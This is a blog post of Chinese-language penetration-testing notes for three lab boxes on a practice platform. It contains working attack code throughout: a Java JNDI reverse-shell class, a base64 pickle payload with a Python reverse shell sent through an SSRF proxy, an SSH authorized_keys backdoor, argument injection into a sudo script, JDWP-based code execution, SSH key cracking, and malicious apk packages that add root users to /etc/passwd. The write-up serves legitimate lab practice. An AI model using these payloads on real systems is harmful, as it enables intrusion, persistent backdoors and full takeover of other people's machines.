最近在练习渗透,找到一个单靶机渗透挺好的平台:https://maze-sec.com
题目基本上是Web渗透+Linux提权,有些还挺有意思的,和云境不太一样。记录一下我的做题笔记
lanSSudoyy
1 2 3 4 5
| 靶机:lanSSudoyy 作者:wea5e1 (QQ: 3522700034) 靶机ID: 618 系统:Linux 难度:baby
|
开了22和80端口,80端口有个index.php
Web逻辑漏洞
直接输-10000就能刷钱了,拿到ssh

cat user.txt拿到flag
CVE-2021-3156提权
看一下sudo版本,1.8.23,可以打CVE
https://bgithub.xyz/worawit/CVE-2021-3156
直接上传脚本,运行poc即可。

JNDI
1 2 3 4 5
| 靶机:JNDI 作者:S@Ku_γA (QQ: 2312194090) 靶机ID: 620 系统:Linux 难度:Medium
|
扫描找到四个端口
1 2 3 4
| [867ms] [*] 端口开放 192.168.56.102:22 [948ms] [*] 端口开放 192.168.56.102:80 [951ms] [*] 端口开放 192.168.56.102:8009 [983ms] [*] 端口开放 192.168.56.102:8080
|
JNDI注入
目录扫出来一个http://192.168.56.102:8080/jndi.jsp,应该是题目入口,打jndi注入,虽然是黑盒,怀疑直接就是把参数填到lookup里去了
本地配的host模式网卡,不出网,懒得调dnslog了,最后用javax.naming.spi.ObjectFactory打通:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; import java.util.Hashtable; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory;
public class JavaReverseFactory8A implements ObjectFactory { private static boolean launched = false;
static { launch(); }
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { launch(); return null; }
private static synchronized void launch() { if (launched) { return; } launched = true; Thread thread = new Thread(JavaReverseFactory8A::reverse); thread.setDaemon(true); thread.start(); }
private static void reverse() { Socket socket = null; Process process = null; try { socket = new Socket("192.168.56.1", 9999); process = new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
InputStream processOut = process.getInputStream(); InputStream socketIn = socket.getInputStream(); OutputStream processIn = process.getOutputStream(); OutputStream socketOut = socket.getOutputStream(); byte[] buffer = new byte[4096];
while (!socket.isClosed()) { while (processOut.available() > 0) { int length = processOut.read(buffer); if (length > 0) { socketOut.write(buffer, 0, length); } }
while (socketIn.available() > 0) { int length = socketIn.read(buffer); if (length > 0) { processIn.write(buffer, 0, length); } }
socketOut.flush(); processIn.flush();
try { process.exitValue(); break; } catch (Exception ignored) { }
Thread.sleep(50); } } catch (Exception ignored) { } finally { try { if (process != null) { process.destroy(); } } catch (Exception ignored) { } try { if (socket != null) { socket.close(); } } catch (Exception ignored) { } } } }
|
1 2 3 4
| python -m http.server 1234 --bind 192.168.56.1
javac --release 8 JavaReverseFactory8A.java java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.56.1:1234/#JavaReverseFactory8A" 13897
|
拿shell:

写个公钥后门进去,稳一下shell
1
| echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGKhvtr2I7DqCgIoQD7n0ovhsp1eUsy9WrhRAJSq7N7/zkDVL8Wbw5Rd/dbPfnKulJT0uE2uN6zb/+/jU245k3/BhMsHfM2JHH2at5xdzfT1JF62bODgdNbXL+60oSZochRktiP/YGDEU3xBwGce/goT14UM34IrJ96KMtpJiJCKFOFbYs/jcRDmaZlodv+xtcFGRUsNYbMDAt/L991YCQ998BPaAFUQi9LEFZMMUowmmbmohW/AyRPjrNW/MgpjK6LMreOX5qPKUvxHaUwRjYyjg645f3ARlYvEEZlGRdpHz7QJ8TtV5aScd0t0f49ccbJu3zT/q0me2cgDf/57xe41YHWYzl4h7jLtwOJwpbdG9D8jmuGM/zN0LnNoWFJqRGJ3936RM8bmi+SVgaC85pU2JrN2Scv348DoHbbbMFHYoTQ2Ynm2ATPxOtset8vlfpVGGjdH0iWTc/5xw/A4qQJrE1ZmKEcxt/Hr2FX9VvlySXao2id6VfiramC+702a4o6y0NBXrrqpQgY0Qed5ybpYSeADqqEk9y65SHvaG4AckLGisKlM76UiB7ansODml+Lipk0UXB6Y6VD5Xh5H2NJPdDSjp8RFCsV0EYP9F/oLoLvKN+ij/KrPgNDozvJkN5NCtVDZhfGYuY0xtxa7m2eApn5qiDs0TOdMAq1j3Dw== enen@XiaohaoVictusGamingLaptop" > ~/.ssh/authorized_keys
|
提权1:basename -a参数拼接,执行提权类
在/usr/message里面看到一个jpg图片,string能看到liz的口令:

最后试出来liz的密码是sanmuximei
看bashhistory,可以看到比较可疑的/opt/java_agent_start.sh和a.sh,同时opt这个目录可以全局写

sudo -l 看到这里有/opt/java_agent_start.sh,那就对上了,应该要加载一个提权的类来拿root

1 2 3 4 5 6 7 8 9
| file_name=/opt/file/tmp file_line=$(awk 'NR==1 {print;exit}' "$file_name") file_line=$(basename $file_line)
cd /opt
echo $file_line
/usr/local/java/jdk1.8.0_20/bin/java -agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/$file_line test
|
这个前三行提取tmp的第一行作为后续启动的参数,查了下basename的命令,这里使用basename的时候没有加引号,后面的启动命令里这个$file_line也没加,tmp又可控,可以直接利用
在tmp前面加上:-a libhprof.so -Djava.ext.dirs=file RootDropper8,拼成
basename -a libhprof.so -Djava.ext.dirs=file RootDropper8,basename会以空格为界,加上换行符,拼成:file_line=$'libhprof.so\n-Djava.ext.dirs=file\nRootDropper8'
最后的启动命令:
1 2 3 4 5
| usr/local/java/jdk1.8.0_20/bin/java \ -agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/libhprof.so \ -Djava.ext.dirs=file \ RootDropper8 \ test
|
这样把-Djava.ext.dirs=file作为jvm的新的启动参数,RootDropper8作为新的主类
RootDropper8:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import java.io.IOException; public class RootDropper8 { static { run(); }
public static void main(String[] args) { run(); }
private static void run() { String[] commands = { "/bin/sh", "-c", "cp /bin/bash /home/bluebird/rootsh" };
try { new ProcessBuilder(commands).redirectErrorStream(true).start().waitFor(); } catch (IOException | InterruptedException ignored) { Thread.currentThread().interrupt(); } } }
|
在tmp后面加上jar,让jvm去解析后面的类:
1
| cat /tmp/payload.jar >> /opt/file/tmp
|

最后sudo /bin/bash /opt/java_agent_start.sh即可生成rootsh

提权2:JDWP远程调试
JDWP是Java提供的调试协议,在加载的时候可以让它在指定的端口开一个调试服务。在JAVA中,调试器拥有最高权限,可以随意实例化对象、调用方法,包括Runtime.getRuntime().exec()来RCE
同样的,还是利用tmp可写,我们把启动调试的命令写进去:
1 2 3
| echo "libjdwp.so=transport=dt_socket,server=y,address=8000,suspend=y" > /opt/file/tmp
sudo /bin/bash /opt/java_agent_start.sh
|
开启调试:

原来的test的程序很简单,就是打印一个helloworld,那么我们在println的地方打上断点即可
![[Pasted image 20260327222759.png]]

Tentacle
1 2 3 4 5
| 靶机:Tentacle 作者:Sublarge (QQ: 1469196548) 靶机ID: 605 系统:Linux 难度:Medium
|

通过代理SSRF到5000
信息搜集一下,3128是一个squid的代理,在网上找到vulnhub的一个类似的靶机:https://www.cnblogs.com/LINGX5/p/18437965,使用这个代理,怀疑可以ssrf到127.0.0.1
同时在http://192.168.56.103/~operator/Tentacle能发现app.py,拿到源码,接口什么的很清楚了
![[Pasted image 20260328220700.png]]
在5000起了个服务,auth未校验,传入了一个task_data,进行了pickle.loads,打pickle反序列化
首先先成功打通代理
1 2 3 4 5 6 7 8 9 10
| import requests
r = requests.get( "http://127.0.0.1:5000/api/status", proxies={"http": "http://192.168.56.103:3128"}, timeout=10, ) print(r.status_code, r.text)
|
Pickle反序列化
裸的pickle反序列化,就是要注意payload生成要在linux环境下,我一开始在window环境下弄了半天就是弹不到shell
1 2 3 4 5 6 7 8 9 10 11
| import pickle import os import base64 class A(object): def __reduce__(self): a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
a = A()
pickle_a = pickle.dumps(a) print(base64.b64encode(pickle_a).decode())
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import pickle import os import base64 import requests
payload = "gASV/wAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjORweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxOTIuMTY4LjU2LjEiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyeUhZRSlC4="
try: headers = { "Content-Type": "application/x-www-form-urlencoded" } data = { "task_data": payload } proxy = "http://192.168.56.103:3128" proxies = { "http": proxy, "https": proxy } response = requests.post( "http://127.0.0.1:5000/api/deploy", data=data, headers=headers, proxies=proxies ) print(f"\n[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") except Exception as e: print(f"[-] Error: {e}")
|
拿shell之后写公钥后门进去,成功登录:

SSH泄露 SSH私钥爆破
前面从http://192.168.56.103/~operator/Tentacle读出源码说明Apache的mod_userdir是开着的,可以通过相似的格式读一些别的内容,public_html 会被映射为 /username/ 形式对外提供访问。实现了将 URL: `http://服务器地址/用户名/ 映射到文件系统路径: /home/用户名/public_html/`
访问http://192.168.56.103/~licksore/.ssh找到泄露的私钥,用john the ripper破解私钥的加密短语,字典rockyou。
1 2 3 4 5
| python ssh2john.py privatekey.txt > keyhash.txt
john.exe --wordlist=rockyou5000.txt keyhash.txt john.exe --show keyhash.txt
|
拿到密码justice,拿口令登录ssh
我这里直接有xterminal拿了,如果是windows,有可能会提示私钥权限过大,去掉权限继承,只保留所有者权限:
1 2 3 4
| $user = "$env:COMPUTERNAME\$env:USERNAME" icacls "rsakey" /inheritance:r icacls "rsakey" /grant:r "${user}:F" icacls "rsakey" /remove "BUILTIN\Users"
|
1
| ssh -i id_rsa licksore@192.168.56.103
|

Apk Sudo提权
参考:https://blog.csdn.net/2301_79518550/article/details/158431683
sudo -l 看到/sbin/apk有权限,是apk提权,挺有意思,之前没见过

按步骤执行即可
- 准备目录
1 2
| mkdir -p /tmp/evil-pkg/pkg cd /tmp/evil-pkg
|
- 创建元文件.pkginfo
1 2 3 4 5 6 7 8 9 10
| cat > pkg/.PKGINFO << 'EOF' pkgname = evil-pwn pkgver = 1.0.0 pkgdesc = Test package for privilege escalation demo url = http://example.com builddate = 1735680000 packager = root <root@localhost> size = 4096 arch = x86_64 EOF
|
- 创建post-install脚本
1 2 3 4 5 6 7 8 9
| cat > pkg/.post-install << 'EOF'
set -e
echo 'root2:aacFCuAIHhrCM:0:0:root:/root:/bin/sh' >> /etc/passwd echo " [!] Exploit payload executed successfully!" EOF
chmod +x pkg/.post-install
|
- 打包成apk
1 2
| cd pkg tar -czf ../evil-pwn.apk .PKGINFO .post-install cd ..
|
- 提权
1
| sudo apk add --allow-untrusted ./evil-pwn.apk
|
或者:
1 2 3
| Tentacle:~$ cd /tmp Tentacle:~$ mkdir -p build_pkg Tentacle:~$ cd build_pkg
|
1 2 3 4 5
| Tentacle:~$ vim .PKGINFO pkgname = rootpwn pkgver = 1.0-r0 pkgdesc = privilege escalation size = 1000
|
1 2 3 4 5 6 7 8 9
| Tentacle:~$ vim .pre-install
echo 'hacker:$1$DhMw2ANK$s0Iu1RQPCyn8jbR7asAjl0:0:0:hack,,,:/root:/bin/bash' >> /etc/passwd exit 0
Tentacle:~$ chmod +x .pre-install
Tentacle:~$ tar -czf rootpwn-1.0-r0.apk .PKGINFO .pre-install
|
1 2
| Tentacle:~$ sudo /sbin/apk add --allow-untrusted ./rootpwn-1.0-r0.apk Tentacle:~$ su hacker
|
